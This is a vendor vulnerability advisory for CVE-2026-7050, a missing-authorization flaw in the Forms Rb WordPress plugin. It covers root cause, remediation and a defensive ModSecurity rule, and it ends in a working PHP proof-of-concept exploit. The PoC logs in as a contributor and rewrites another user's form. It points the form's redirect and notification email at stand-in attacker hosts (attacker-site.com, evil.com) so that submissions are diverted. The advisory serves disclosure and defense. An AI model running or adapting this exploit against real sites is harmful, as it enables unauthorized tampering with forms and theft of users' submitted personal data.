Atomic Edge analysis of CVE-2026-7050 (metadata-based): This vulnerability affects the Forms Rb plugin for WordPress, version 1.1.9 and earlier. It allows authenticated attackers with contributor-level access or higher to bypass authorization checks and read, modify, or delete form submissions and configurations belonging to any user’s forms. The CVSS score is 4.3 (medium), reflecting the requirement for authentication but the potential for lateral data manipulation.
Root Cause: The CWE classification (862 Missing Authorization) and the description indicate the plugin fails to verify that the current user has proper capabilities (e.g., ownership or edit_posts) before permitting actions on form submissions identified by the ‘form_id’ parameter. Atomic Edge analysis infers that the vulnerable code likely retrieves the ‘form_id’ from request parameters (via GET or POST) and uses it directly in database queries or update operations without checking if the authenticated user owns that form. This is a classic insecure direct object reference (IDOR) pattern within WordPress plugin AJAX handlers or admin pages.
Exploitation: An attacker with contributor-level credentials crafts requests to the plugin’s AJAX endpoints, typically reachable via /wp-admin/admin-ajax.php with an action parameter like ‘forms_rb_update_form’ or ‘forms_rb_get_submissions’. The attacker sets the ‘form_id’ parameter to an integer representing another user’s form. For example, a POST to /wp-admin/admin-ajax.php with action=forms_rb_save and form_id=5 would modify the configuration of form ID 5, even if the attacker does not own it. The attacker can also delete submissions by sending form_id and submission_id values. No nonce verification or capability check is performed on the target form.
Remediation: The fix requires implementing proper authorization checks before any action that uses the ‘form_id’ parameter. The plugin must verify that the current user has the required capability (e.g., ‘edit_posts’ or a custom capability) and that they own the form or have specific permissions to modify it. A check like ‘current_user_can(‘edit_post’, $form_id)’ or verifying the form’s author ID against the current user ID would prevent unauthorized access. The patched plugin should also validate that the user can read or delete submissions belonging to that form.
Impact: Successful exploitation allows authenticated contributors to read sensitive form submission data (potentially including PII), modify form configurations (redirect URLs, email recipients, validation rules), and delete submission records. This can lead to data breaches, loss of data integrity, and manipulation of business workflows relying on form submissions. The attacker cannot escalate privileges to administrator but can compromise other users’ data and form functionality.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7050 (metadata-based)
# Blocks unauthorized modification of form configuration by contributor-level attackers
# Targets AJAX endpoints with missing authorization checks on 'form_id'
# This is a virtual patch based on inferred vulnerability class
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20267050,phase:2,deny,status:403,chain,msg:'CVE-2026-7050 - Forms Rb Missing Authorization via form_id',severity:'CRITICAL',tag:'CVE-2026-7050',tag:'wordpress',tag:'plugin-forms-rb'"
SecRule ARGS_POST:action "@pm forms_rb_save forms_rb_update forms_rb_delete forms_rb_get_submissions" "chain"
SecRule ARGS_POST:form_id "@rx ^[0-9]+$" "chain"
SecRule ARGS_POST:form_redirect|ARGS_POST:form_email_to|ARGS_POST:form_title "@rx ." "t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7050 - Forms Rb <= 1.1.9 - Missing Authorization to Authenticated (Contributor+) Arbitrary Modification via 'form_id' Parameter
/**
* This proof-of-concept demonstrates how an authenticated contributor can modify
* another user's form configuration by exploiting the missing authorization check
* on the 'form_id' parameter. The script assumes the Forms Rb plugin uses
* an AJAX endpoint with action 'forms_rb_save' and accepts form_id, form_title,
* form_fields as POST parameters. Adjust the endpoint parameters based on actual
* plugin code if different.
*/
$target_url = 'https://example.com'; // Replace with the target WordPress site URL
$username = 'contributor'; // Valid contributor credentials
$password = 'password123';
// Step 1: Authenticate via wp-login
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
fwrite(STDERR, "Authentication failed. Check credentials or login URL.n");
exit(1);
}
echo "[+] Authenticated as $usernamen";
// Step 2: Exploit missing authorization by modifying a form we do not own
// The target form ID is 5 (arbitrary, must be a valid form ID belonging to another user)
$target_form_id = 5;
// Determine the AJAX action from plugin slug convention. Commonly 'forms_rb_save' or 'forms_rb_update'
// We try both. Adjust if different.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Payload for modification
$payload = array(
'action' => 'forms_rb_save',
'form_id' => $target_form_id,
'form_title' => 'Modified Form Title - Compromised',
'form_fields' => json_encode(array(
array('label' => 'Name', 'type' => 'text'),
array('label' => 'Email', 'type' => 'email')
)),
'form_redirect' => 'https://attacker-site.com/steal-data',
'form_email_to' => 'attacker@evil.com'
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
// Check response for success (plugin may return JSON with 'success' or a redirect)
if (strpos($response, '"success":true') !== false || strpos($response, 'Form saved') !== false) {
echo "[+] Exploit succeeded. Form ID $target_form_id has been modified.n";
} else {
echo "[!] Exploit may have failed. Response:n$responsen";
// Try alternative action name
$payload['action'] = 'forms_rb_update';
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$response2 = curl_exec($ch);
if (strpos($response2, '"success":true') !== false || strpos($response2, 'Form saved') !== false) {
echo "[+] Exploit succeeded with alternative action. Form ID $target_form_id modified.n";
} else {
echo "[!] Exploit failed with both action names. Check if the plugin uses a different AJAX hook or nonce requirement.n";
}
}
curl_close($ch);
?>
